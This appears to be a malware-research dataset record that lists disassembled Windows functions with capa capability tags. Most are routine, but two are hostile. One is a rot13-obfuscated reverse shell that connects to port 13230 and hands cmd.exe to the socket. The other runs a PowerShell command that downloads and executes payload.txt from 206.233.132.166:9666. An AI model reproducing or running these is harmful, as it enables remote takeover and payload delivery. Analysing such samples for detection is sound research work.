joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140023910
Capabilities:
Hash data with crc32

Disassembly:
push rbx
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10d, 0xffffffff
mov rbx, rcx
mov eax, r10d
test r9b, r9b
je 0x140023962
lea r11, [0x140064010]
cmp r9b, 0x23
jne 0x140023945
cmp byte [r8], r9b
jne 0x140023945
cmp byte [r8 + 1], r9b
cmove eax, r10d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140023932
mov r11, qword [0x140389940]
mov r10, qword [r11 + 0x5598]
test r10, r10
je 0x1400239a9
lea r9, [r10 + 4]
test r9, r9
je 0x1400239a9
not eax
cmp dword [r9], eax
je 0x1400239b2
movsxd r8, dword [r9 - 4]
movsxd rdx, dword [r11 + 0x5590]
add r8, r9
add rdx, 4
xor r9d, r9d
add rdx, r10
cmp r8, rdx
cmovne r9, r8
test r9, r9
jne 0x140023980
mov rcx, rbx
pop rbx
jmp fcn.140023820
mov rax, r9
pop rbx
ret

Function at 0x1400239c0
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x140389940]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x140023a23
mov qword [rsp], rbx
lea rbx, [0x140064010]
nop dword [rax]
cmp r9b, 0x23
jne 0x140023a03
cmp byte [r8], r9b
jne 0x140023a03
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x1400239f0
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5580]
xor r8d, r8d
not eax
test ecx, ecx
jle 0x140023a57
mov r10, qword [r10 + 0x5588]
mov r9, rcx
mov edx, r8d
lea rcx, [r10 + 8]
cmp dword [rcx], eax
je 0x140023a5e
inc r8d
inc rdx
add rcx, 0x48
cmp rdx, r9
jl 0x140023a44
xor eax, eax
add rsp, 8
ret
movsxd rax, r8d
lea rcx, [rax + rax*8]
lea rax, [r10 + rcx*8]
add rsp, 8
ret
Function at 0x140027390
Capabilities:
Hash data with crc32

Disassembly:
test r8d, r8d
jle 0x1400275de
mov r11, rsp
push rbp
push rsi
sub rsp, 0x58
mov rax, qword [0x1400ac010]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov qword [r11 - 0x18], rdi
mov rbp, rcx
mov qword [r11 - 0x20], r14
lea rdi, [rdx + 0x1a]
mov qword [r11 - 0x28], r15
mov r14d, 0xffffffff
lea r15, [0x140064010]
mov qword [r11 + 0x18], rbx
movsxd rsi, r8d
nop dword [rax + rax]
mov edx, dword [rdi - 0x1a]
test edx, edx
je 0x1400275a6
mov rcx, rbp
call fcn.140026a00
mov r9d, dword [rdi - 0x16]
mov rbx, rax
test r9d, r9d
je 0x140027461
movsxd rdx, dword [rbp + 0x5530]
mov r8, qword [rbp + 0x5538]
mov r10, rdx
shl r10, 4
add r10, r8
test rdx, rdx
je 0x140027451
nop dword [rax]
mov rcx, rdx
shr rcx, 1
mov rax, rcx
add rax, rax
cmp dword [r8 + rax*8], r9d
jae 0x140027449
lea r8, [r8 + rax*8]
mov rax, 0xffffffffffffffff
sub rax, rcx
add r8, 0x10
add rdx, rax
jmp 0x14002744c
mov rdx, rcx
test rdx, rdx
jne 0x140027420
cmp r8, r10
je 0x140027461
cmp dword [r8], r9d
jne 0x140027461
mov rcx, qword [r8 + 8]
jmp 0x140027463
xor ecx, ecx
mov qword [rbx + 0x18], rcx
movsx eax, word [rdi - 2]
movd xmm1, eax
movsx eax, word [rdi]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
movss dword [rbx + 0x48], xmm1
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0x4c], xmm0
movsx eax, word [rdi + 2]
movd xmm1, eax
movsx eax, word [rdi + 4]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
movss dword [rbx + 0x50], xmm1
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0x54], xmm0
movsx eax, word [rdi + 6]
movd xmm1, eax
movsx eax, word [rdi + 8]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
mov eax, dword [rbx + 0xc4]
and eax, 0xfffffe49
movss dword [rbx + 0x58], xmm1
or eax, 0x49
mov dword [rbx + 0xc4], eax
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0x5c], xmm0
test rcx, rcx
je 0x1400274f7
cmp qword [rcx + 0x20], 0
jne 0x1400274ec
mov qword [rcx + 0x20], rbx
jmp 0x1400274f7
cmp qword [rcx + 0x28], 0
jne 0x1400274f7
mov qword [rcx + 0x28], rbx
mov eax, dword [rdi - 0xe]
mov dword [rbx + 0xbc], eax
movsx eax, byte [rdi - 0xa]
mov dword [rbx + 0x60], eax
mov ecx, dword [rdi - 6]
mov eax, dword [rbx + 0xc]
and ecx, 0xc1fc20
or eax, dword [rbx + 4]
or eax, ecx
mov dword [rbx + 8], ecx
mov dword [rbx + 0x10], eax
mov rcx, rbx
mov rax, qword [rbx + 0x18]
test rax, rax
je 0x14002753c
nop word [rax + rax]
mov rcx, rax
mov rax, qword [rax + 0x18]
test rax, rax
jne 0x140027530
mov r9d, dword [rcx]
lea r8, str.DockNode__02X
lea rcx, [rsp + 0x20]
mov edx, 0x14
call fcn.14000cda0
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov ecx, r14d
test r9b, r9b
je 0x140027598
cmp r9b, 0x23
jne 0x14002757b
cmp byte [r8], r9b
jne 0x14002757b
cmp byte [r8 + 1], r9b
cmove ecx, r14d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r15 + rdx*4]
test r9b, r9b
jne 0x140027568
not ecx
call fcn.140015ca0
mov qword [rbx + 0x88], rax
add rdi, 0x24
sub rsi, 1
jne 0x1400273e0
mov r15, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14005af20
add rsp, 0x58
pop rsi
pop rbp
ret
Function at 0x14002edc0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x50
mov edi, r8d
mov rbx, rdx
mov rbp, rcx
xor r14d, r14d
nop word [rax + rax]
mov eax, dword [rbx]
mov dword [rsp + 0x20], eax
mov rax, qword [rbx + 0x18]
mov word [rsp + 0x32], r14w
test rax, rax
je 0x14002ee0d
mov eax, dword [rax]
mov dword [rsp + 0x24], eax
jmp 0x14002ee12
mov dword [rsp + 0x24], r14d
mov eax, dword [rbx + 0x10]
shr eax, 0xa
test al, 1
je 0x14002ee3d
mov rax, qword [rbx + 0x88]
test rax, rax
je 0x14002ee3d
mov rcx, qword [rax + 0x390]
test rcx, rcx
je 0x14002ee3d
mov eax, dword [rcx + 8]
mov dword [rsp + 0x28], eax
jmp 0x14002ee42
mov dword [rsp + 0x28], r14d
mov eax, dword [rbx + 0xbc]
mov dword [rsp + 0x2c], eax
cmp qword [rbx + 0x20], r14
je 0x14002ee5c
movzx eax, byte [rbx + 0x60]
mov byte [rsp + 0x30], al
jmp 0x14002ee61
mov byte [rsp + 0x30], 0xff
cvttss2si ecx, dword [rbx + 0x48]
mov eax, dword [rbx + 8]
mov r8d, dword [rbp + 0x24]
and eax, 0xc1fc20
mov dword [rsp + 0x34], eax
mov byte [rsp + 0x31], dil
cvttss2si eax, dword [rbx + 0x4c]
mov word [rsp + 0x38], cx
cvttss2si ecx, dword [rbx + 0x50]
mov word [rsp + 0x3a], ax
cvttss2si eax, dword [rbx + 0x54]
mov word [rsp + 0x3c], cx
cvttss2si ecx, dword [rbx + 0x58]
mov word [rsp + 0x3e], ax
cvttss2si eax, dword [rbx + 0x5c]
mov word [rsp + 0x40], cx
mov ecx, dword [rbp + 0x20]
mov word [rsp + 0x42], ax
cmp ecx, r8d
jne 0x14002eee3
inc ecx
test r8d, r8d
je 0x14002eece
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
add eax, r8d
jmp 0x14002eed3
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
mov edx, ecx
lea rcx, [rbp + 0x20]
call fcn.1400302b0
movsxd rax, dword [rbp + 0x20]
mov rcx, qword [rbp + 0x28]
movups xmm0, xmmword [rsp + 0x20]
movups xmm1, xmmword [rsp + 0x30]
lea rdx, [rax + rax*8]
mov eax, dword [rsp + 0x40]
movups xmmword [rcx + rdx*4], xmm0
movups xmmword [rcx + rdx*4 + 0x10], xmm1
mov dword [rcx + rdx*4 + 0x20], eax
inc dword [rbp + 0x20]
mov rdx, qword [rbx + 0x20]
inc edi
test rdx, rdx
je 0x14002ef23
mov r8d, edi
mov rcx, rbp
call fcn.14002edc0
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x14002edf0
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret
Function at 0x14005ad80
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r10, rcx
mov r9d, 0x270
mov ecx, dword [rcx]
cmp ecx, r9d
jne 0x14005ade1
lea r8, [r10 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x14005ada0
mov ecx, dword [r10]
jmp 0x14005aeca
cmp ecx, 0x4e0
jb 0x14005aeca
lea r11, [r10 + 0x9c4]
mov qword [rsp], rbx
mov eax, dword [r11]
mov ebx, 0xe3
mov edx, dword [r11 + 4]
lea r8, [r11 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 + 0x634]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x14005ae00
lea r11, [r10 + 0xd50]
mov ebx, 0x18c
mov eax, dword [r11]
nop dword [rax + rax]
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 - 0xd4c]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x14005ae50
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, dword [r10 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 + 0x9c0], ecx
xor ecx, ecx
mov dword [r10], ecx
mov eax, ecx
mov edx, dword [r10 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r10], eax
mov ecx, edx
mov eax, dword [r10 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x14005bb34
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14005bb7e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14005bb7e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14005bb7e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14005bb7e
cmp dword [rcx + 0x84], 0xe
jbe 0x14005bb7e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14005bb80
xor al, al
add rsp, 0x28
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004044b0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x004044c0]
mov dword [rax], 1
mov rax, qword [0x004044d0]
mov dword [rax], 1
mov rax, qword [0x004044a0]
mov dword [rax], 1
mov rax, qword [0x00404390]
cmp word [rax], 0x5a4d
jne 0x401067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4010c0
mov rax, qword [0x00404490]
mov dword [0x0040700c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x4010b0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x00404450]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x00404340]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x401084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401067
cmp dword [rax + 0x84], 0xe
jbe 0x401067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x401067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x401067
Function at 0x40161d
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
call dbg.__main
lea rcx, str.6.gpc.rh.atebx.vb
call sym.rot13_decrypt_string_char_
lea rcx, str.pzq.rkr
call sym.rot13_decrypt_string_char_
lea rdx, [0x00407040]
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [0x004071d8], rax
lea rcx, str.6.gpc.rh.atebx.vb
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov ecx, dword [rax]
mov rax, qword [sym.imp.WS2_32.dll_inet_ntoa]
call rax
mov r8, rax
mov edx, 0x10
lea rcx, str.6.gpc.rh.atebx.vb
mov rax, qword [sym.imp.msvcrt.dll_strcpy_s]
call rax
mov word [0x004071e0], 2
lea rcx, str.13230
call sym.atoi
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [0x004071e2], ax
lea rcx, str.6.gpc.rh.atebx.vb
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [0x004071e4], eax
mov rax, qword [0x004071d8]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
lea rdx, [0x004071e0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
mov r8d, 0x68
mov edx, 0
lea rcx, [0x00407200]
call sym.memset
mov dword [0x00407200], 0x68
mov dword [0x0040723c], 0x101
mov rax, qword [0x004071d8]
mov qword [0x00407260], rax
mov rax, qword [0x00407260]
mov qword [0x00407258], rax
mov rax, qword [0x00407258]
mov qword [0x00407250], rax
lea rax, [0x00407270]
mov qword [rsp + 0x48], rax
lea rax, [0x00407200]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rdx, str.pzq.rkr
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov eax, 0
add rsp, 0x60
pop rbp
ret

Function at 0x401d00
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x401d70
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x00407894]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x401f18
mov rax, qword [0x00407898]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x401dbc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x401e47
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x401da0
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x401f52
mov rax, qword [0x00407898]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00407898]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401f61
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x401e40
sub eax, 4
and eax, 0xfffffffb
jne 0x401ed0
add dword [0x00407894], 1
cmp ebx, 8
jae 0x401e78
test bl, 4
jne 0x401f20
test ebx, ebx
je 0x401e69
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x401f40
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x401e69
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x401eaa
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x00407898]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401e40
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor edi, edi
jmp 0x401dc7
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x401e69
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x401e69
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
mov rax, qword [0x00407898]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
nop
nop dword [rax]
Function at 0x402740
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00407b80]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00407b60]
test rbx, rbx
je 0x402794
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x40278b
test r12, r12
je 0x40278b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402770
lea rcx, [0x00407b80]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x4029c0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x4029d0
jmp sym._ValidateImageBase.part.0
xor eax, eax
ret

Function at 0x4029e0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402a25
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x402a1c
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402a27
add rax, 0x28
cmp rax, r9
jne 0x402a08
xor eax, eax
ret

Function at 0x402ad0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x00404390]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x402b49
mov rcx, r10
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402b49
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x402b46
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x402b3d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x402b49
add r8, 0x28
cmp r8, r9
jne 0x402b28
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x402c30
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x00404390]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x402c9f
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402c9f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x402c9d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x402c94
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402ca8
add rax, 0x28
cmp rax, r9
jne 0x402c80
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x402cc0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00404390]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x402d38
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402d38
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x402d38
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402d38
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x402d2c
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x402d40
add rdx, 0x28
cmp rdx, r10
jne 0x402d18
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x402d50
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x402d5e
mov edx, dword [rax + 0xc]
test edx, edx
je 0x402d35
test r8d, r8d
jg 0x402d48
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret
Function at 0x1400049e0
Capabilities:
Create process on windows
Move file

Disassembly:
push rbp
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x14008e030]
xor rax, rsp
mov qword [rbp + 0x90], rax
mov r8d, 0x104
lea rdx, [rbp - 0x80]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], rax
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
lea rax, [rbp - 0x80]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140004a40
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x58]
call fcn.140008140
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rax
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
lea r8d, [rax + 0x23]
lea rdx, str.C:UsersPublicPictureshelp42.exe
lea rcx, [rsp + 0x30]
call fcn.140008140
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0x10
cmovae rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
lea r8, [rsp + 0x38]
cmp qword [rsp + 0x50], 0x10
cmovae r8, qword [rsp + 0x38]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea rdx, [0x140087b74]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rsp + 0x30]
call fcn.140006420
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x30], 0
mov edx, 0x10
call fcn.140008560
nop
lea rcx, [rsp + 0x58]
call fcn.140006420
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x58], 0
mov edx, 0x10
call fcn.140008560
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.14000f1e0
add rsp, 0x1a0
pop rbp
ret

Function at 0x140004b40
Capabilities:
Create process on windows
Run powershell expression
Terminate process

Disassembly:
sub rsp, 0x258
mov rax, qword [0x14008e030]
xor rax, rsp
mov qword [rsp + 0x240], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
xor eax, eax
lea r9, str._Command__Invoke_RestMethod__Uri_http:__206.233.132.166:9666_payload.txt__Invoke_Expression_
mov dword [rsp + 0x28], eax
lea r8, str.powershell.exe
lea rdx, str.open
mov qword [rsp + 0x20], rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.140004800
test al, al
je 0x140004bed
mov qword [rsp + 0x250], rbx
call fcn.140002f60
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r8d, 0x104
lea rdx, [rsp + 0x30]
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.140003cf0
mov rbx, qword [rsp + 0x250]
xor eax, eax
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000f1e0
add rsp, 0x258
ret
call fcn.1400049e0
xor ecx, ecx
call fcn.14001b990
int3
Function at 0x14001af20
Capabilities:
Get thread local storage value

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.14001aa00
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x14001af5f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x14006b3b8]
jmp 0x14001af69
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x140044910
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
